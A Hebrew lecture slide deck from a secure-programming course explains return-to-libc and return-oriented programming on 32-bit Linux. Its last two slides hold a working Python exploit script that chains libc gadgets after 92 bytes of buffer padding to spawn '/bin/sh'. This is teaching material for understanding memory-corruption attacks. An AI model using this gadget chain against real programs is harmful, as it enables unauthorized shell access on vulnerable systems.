1 of 10

תכנות בטוח��מצגת 3

Return-to-libc

Return-oriented programming (ROP)

2 of 10

מחסנית שאינה ניתנת לביצוע, return-to-libc

  • אם דורסים את כתובת החזרה של הפונקציה עם כתובת של shellcode שנמצא במחסנית, ה- shellcode לא יוכל להתבצע אם המחסנית אינה ניתנת לביצוע.
  • במקום זה, אפשר לדרוס את כתובת החזרה של הפונקציה עם כתובת של פונקציית ספריה (return-to-libc).
  • הפונקציה שהתוקף יבחר היא system(), זו פונקציה שמאפשרת להריץ פקודת shell מתוך תכנית.
  • הפקודה שהתוקף יבחר היא "/bin/sh".

int main(void)

{

system("ls -l *.c | wc -l");

// system("/bin/sh");

}

3 of 10

return-to-libc 32 bits

כדי להריץ system("/bin/sh") בזמן החזרה מהפונקציה:

  1. צריך למצוא את כתובת פונקציית הספרייה system(),

כתובת זו תשמש כדי לדרוס את כתובת החזרה.

  • צריך למצוא את כתובת פונקציית הספרייה exit(),

כתובת זו תשמש כדי לחזור מ- system().

  • צריך ליצור על המחסנית את המחרוזת"/bin/sh" או למצוא מחרוזת כזו בספריה, את כתובת המחרוזת צריך להעביר כפרמטר לפונקציה system().
  • צריך ליצור מחרוזת תווים שיוכנסו כקלט לחוצץ באופן הבא:

כתובת הפונקציה system() צריכה לדרוס את כתובת החזרה במחסנית.

כתובת המחרוזת "/bin/sh" צריכה להופיע במחסנית במקום שממנו הפונקציה system() קוראת את הארגומנט.

כתובת הפונקציה exit() צריכה להופיע במקום של כתובת החזרה.

system.c

4 of 10

return-to-libc 32 bits

Return

Saved ebp

echo()

buffer[]

main()

Return

&"/bin/sh"

Saved ebp

system()

main()

esp

AAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

system()

exit()

esp

&"/bin/sh"

ביצוע של system() על ידי קריאה רגילה עם call

הארגומנט נמצא במקום:

esp + 4 = Return + 4

esp

ביצוע של system() על ידי קפיצה עם Return

הפונקציה system() מניחה ש- esp מצביע ל- Return

ומצפה למצוא את הארגומנט במקום:

Return + 4 = esp + 4 = Previous Return + 8

לפני Return

אחרי Return

buf_lib.c

5 of 10

Return-oriented programming (ROP) מחסנית שאינה ניתנת לביצוע,

  • דרך נוספת להתגבר על מחסנית שלא ניתנת לביצוע, היא למצוא בספריה או בתכנית קטעי קוד ("gadgets") שהשרשור שלהם מהווה קוד תקיפה.
  • כל קטעי הקוד צריכים להסתיים בפקודה ret.
  • התוקף ידרוס את כתובת החזרה עם כתובת הקטע הראשון בשרשור ומעל לכתובת זו יעתיק את כתובות הקטעים האחרים לפי סדר ביצועם.
  • פקודת ret של הפונקציה שבה התוקף מבצע גלישה, תבצע את קטע הקוד הראשון ותזיז את מצביע המחסנית להצביע לקטע הקוד הבא.
  • לאחר שקטע הקוד הראשון יבצע ret, הקטע הבא יתבצע ומצביע המחסנית יזוז לקטע שאחריו וכן הלאה.

return address

[7][6][5][4][3][2][1][0]

6 of 10

Return-oriented programming (ROP), find gadgets

  • כשרוצים לקרוא לפונקציה ולהעביר לה ארגומנט, צריך להכניס ערך לאוגר %rdi.
  • אם יש צורך לקרוא לפונקציה, דרוש קטע קוד שיכניס ערך לאוגר %rdi.
  • אם לא מצאנו פקודה מתאימה, אפשר לחפש בחלק של פקודה.
  • הפונקציה הבאה:

void setval(unsigned *p) {

*p = 3347663060U;

}

  • מתורגמת לאסמבלי:

400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)

400f1b: c3 retq

  • הבתים 48 89 c7 הם קוד הפקודה movq %rax, %rdi ולאחריהם ret, ולכן בכתובת 0x400f18 נמצא gadget שמעתיק לאוגר %rdi.

7 of 10

Return-oriented programming (ROP), run shell, 32 bits

צריך למצוא קטעי קוד שמבצעים את הפקודות הבאות (Intel syntax):

mov eax, 0xb

mov ebx, &"/bin/sh"

xor ecx, ecx

xor edx, edx

int 0x80

rop32.c, ROPgadget.py

"/bin/sh"

NULL

NULL

0xb

%eax

%ebx

%ecx

%edx

8 of 10

Return-oriented programming (ROP), shell gadgets

xor edx, edx; mov eax, edx; ret

xor ecx,ecx; pop ebx; mov eax,ecx; pop esi; pop edi; pop ebp; ret

mov eax, 0xa; pop ebx; pop esi; pop edi; pop ebp; ret

inc_eax; ret

int_0x80

"/bin/sh"

Gadgets

Stack

'A' * 92

xor edx, edx

Return

xor ecx, ecx

'AAAA' * 4

mov eax, 0xa

&"/bin/sh"

'AAAA' * 3

inc eax

int 0x80

rop32.c

9 of 10

shell gadgets, exploit code script (1)

libc_base = 0xb7e09000

# xor edx, edx ; mov eax, edx ; ret

xor_edx = 0x0007d7a5 + libc_base

# xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret

xor_ecx = 0x000259c3 + libc_base

# mov eax, 0xa ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

eax_0xa = 0x000d9c8a + libc_base

inc_eax = 0x00024b41 + libc_base

bin_sh = 0x0015ba0b + libc_base

int_0x80 = 0x00002c87 + libc_base

pop_val = '\xAA\xAA\xAA\xAA'

10 of 10

shell gadgets, exploit code script (2)

buffer = 'A' * 92 # fill buffer

# xor edx, edx ; mov eax, edx ; ret

buffer += pack('<I', xor_edx)

# xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret

buffer += pack('<I', xor_ecx)

buffer += pop_val * 4

# mov eax, 0xa ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

buffer += pack('<I', eax_0xa)

buffer += pack('<I', bin_sh)

buffer += pop_val * 3

buffer += pack('<I', inc_eax)

buffer += pack('<I', int_0x80)

print (buffer)